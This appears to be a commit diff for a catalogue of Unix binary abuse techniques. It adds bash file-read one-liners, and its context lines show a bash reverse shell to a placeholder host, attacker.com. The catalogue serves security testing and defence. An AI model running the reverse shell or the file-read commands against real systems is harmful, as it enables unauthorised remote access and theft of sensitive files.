Add read/write for ash, bash, csh, dash, ed, and emacs
This commit is contained in:
committed by
Andrea Cardaci
parent
2cfa11d5f8
commit
66b617c955
@@ -40,4 +40,13 @@ functions:
|
||||
export RHOST=attacker.com
|
||||
export RPORT=12345
|
||||
bash -c 'bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1'
|
||||
file-read:
|
||||
- description: It trims trailing newlines.
|
||||
code: |
|
||||
export LFILE=file_to_read
|
||||
bash -c 'echo "$(<$LFILE)"'
|
||||
- description: It trims trailing newlines.
|
||||
code: |
|
||||
export LFILE=file_to_read
|
||||
bash -c $'read -d \x04 a < "$LFILE"; echo "$a"'
|
||||
---
|
||||
|
||||
Reference in New Issue
Block a user